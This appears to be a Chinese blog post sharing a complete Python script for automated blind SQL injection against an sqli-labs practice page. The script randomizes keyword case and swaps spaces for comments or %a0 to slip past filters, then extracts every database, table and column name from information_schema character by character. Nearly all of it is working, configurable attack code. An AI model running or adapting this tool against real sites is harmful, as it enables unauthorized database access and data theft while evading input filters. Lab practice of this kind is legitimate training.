完善了刚才的脚本 , 添加了随机大小写功能 , 更具有健壮性
用户可根据自己的需求添加需要随机大小写绕过的关键字

#!/usr/bin/env python
# encoding:utf8

import requests
import time
import sys
import random

# hack-config-start
payload = "0%df\"||()--+" # 样例 : 0"or()or"="1 或 0' or()or '='1
success_symbol = "Your Login name:"
url = "http://127.0.0.1/Less-57/index.php?id="
# 如果对参数进行了过滤 , 需要配置temper函数 , 双写或者加注释绕过
# hack-config-end

# config-start
sleep_time = 5
error_time = 1
# config-end

# define-start
system_schema_names = ['information_schema','test','mysql','performance_schema']
# 关键字
random_up_low_keywords = ['select','union','from','limit']
# 函数名
random_up_low_keywords.append('ascii')
random_up_low_keywords.append('substring')
# 系统库名/表名/列名
random_up_low_keywords.append('information_schema')
random_up_low_keywords.append('schemata')
random_up_low_keywords.append('tables')
random_up_low_keywords.append('columns')
random_up_low_keywords.append('schema_name')
random_up_low_keywords.append('table_name')
random_up_low_keywords.append('column_name')
# define-end

# TODO-start
# 优化显示
# TODO-end

def temper(tempPayload):
    global random_up_low_keywords
    for tempKeyword in random_up_low_keywords:
        tempPayload = tempPayload.replace(tempKeyword,getRandomType(tempKeyword))
    tempPayload = tempPayload.replace(" ","/**/")
    tempPayload = tempPayload.replace(" ","%a0")
    # tempPayload = tempPayload.replace("or","oorr")
    # tempPayload = tempPayload.replace("and","anandd")
    return tempPayload

def getRandomType(keywords):
    # TODO 返回随机大小写
    random_int = random.randint(0, len(keywords) - 1)
    tempList = list(keywords)
    tempList[random_int] = tempList[random_int].upper()
    return "".join(tempList)

def getPayload(database_name, table_name, column_name, where, indexOfResult, indexOfChar, mid):
    global payload
    # http://127.0.0.1/Less-65/index.php?id=0"or()or"="1
    startStr = payload.split("()")[0]
    endStr = payload.split("()")[1]
    # ((asCIi(sUBString((sELEct/**/scheMA_Name/**/FRom/**/inforMATion_scheMa.schemaTa/**//**/liMit/**/0,1),1,1)))>0)
    temppayload = "((ascii(substring((select " + column_name + " from " + database_name + "." + table_name + " " + where + " limit " + indexOfResult + ",1)," + indexOfChar + ",1)))>" + mid + ")"
    temppayload = startStr + temppayload + endStr
    # temper
    temppayload = temper(temppayload)
    return temppayload

def exce(database_name, table_name, column_name, where, indexOfResult, indexOfChar, mid):
    global success_symbol
    global url
    # content-start
    tempurl = url + getPayload(database_name, table_name, column_name, where, indexOfResult, indexOfChar, mid)
    content = requests.get(tempurl).text
    # print content
    # content-end
    # judge-start
    if success_symbol in content:
        return True
    else:
        return False
    # judge-end

def doubleSearch(database_name, table_name, column_name, where, indexOfResult,indexOfChar,left_number, right_number):
    while left_number < right_number:
        mid = int((left_number + right_number) / 2)
        if exce(database_name, table_name, column_name, where, str(indexOfResult),str(indexOfChar + 1),str(mid)):
            left_number = mid
        else:
            right_number = mid
        if left_number == right_number - 1:
            if exce(database_name, table_name, column_name, where, str(indexOfResult),str(indexOfChar + 1),str(mid)):
                mid += 1
                break
            else:
                break
    return chr(mid)

def getAllData(database_name, table_name, column_name, where):
    allData = []
    for i in range(32): # 需要遍历的查询结果的数量
        counter = 0
        data = ""
        for j in range(32): # 结果的长度
            counter += 1
            temp = doubleSearch(database_name, table_name, column_name, where, i, j, 0, 128) # 从255开始查询
            if ord(temp) == 1: # 当为1的时候说明已经查询结束
                break
            sys.stdout.write(temp)
            sys.stdout.flush()
            data += temp
        if counter == 1: # 当结果集的所有行都被遍历后退出
            break
        sys.stdout.write("\r\n")
        sys.stdout.flush()
        allData.append(data)
    return allData

def getAllSchemaNames():
    return getAllData(column_name="schema_name", table_name="schemata", database_name="information_schema", where="")

def getAllTableNames(schema_name):
    return getAllData(column_name="table_name", table_name="tables", database_name="information_schema",  where="where(table_schema='" + schema_name + "')")

def getAllColumnNames(schema_name, table_name):
    return getAllData(column_name="column_name", table_name="columns", database_name="information_schema",  where="where(table_name='" + table_name + "' and table_schema='" + schema_name + "')")


def hack():
    print "================================"
    print "正在获取所有数据库 ..."
    allSchemaNames = getAllSchemaNames()
    print "所有数据库名获取完毕 !"
    print "================================"
    print "正在获取所有数据库表名 ..."
    tempDic = {}
    allUserSchemaNames = []
    for schema_name in allSchemaNames:
        print "--------------------------------"
        print "当前数据库 : " + schema_name + "\t",
        IS_SYSTEM_SCHEMA = False
        for system_schema_name in system_schema_names:
            if system_schema_name == schema_name:
                print "Mysql自带系统数据库 , 智能忽略 !"
                IS_SYSTEM_SCHEMA = True
                break
        if not IS_SYSTEM_SCHEMA:
            print ""
            allUserSchemaNames.append(schema_name)
            tempDic[schema_name] = getAllTableNames(schema_name)
    print "所有表名获取完毕!"
    print "================================"
    print "正在获取所有表列名 ..."
    for schema_name in allUserSchemaNames:
        print "--------------------------------"
        for table_name in tempDic[schema_name]:
            print "当前数据库 : " + schema_name + "\t当前表名 : " + table_name
            getAllColumnNames(schema_name, table_name)
    print "所有列名获取完毕!"
    print "================================"

hack()